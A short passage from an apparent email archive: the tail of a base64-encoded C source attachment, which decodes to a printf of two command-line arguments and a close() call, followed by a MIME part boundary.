JXM6JXNdXG5cbiIsIGFyZ3ZbM10sIGFyZ3ZbNF0pOwoKICAgICAgICBjbG9z
ZShmZCk7Cgp9Cgo=
--0-1610208346-1026952188=:14415--
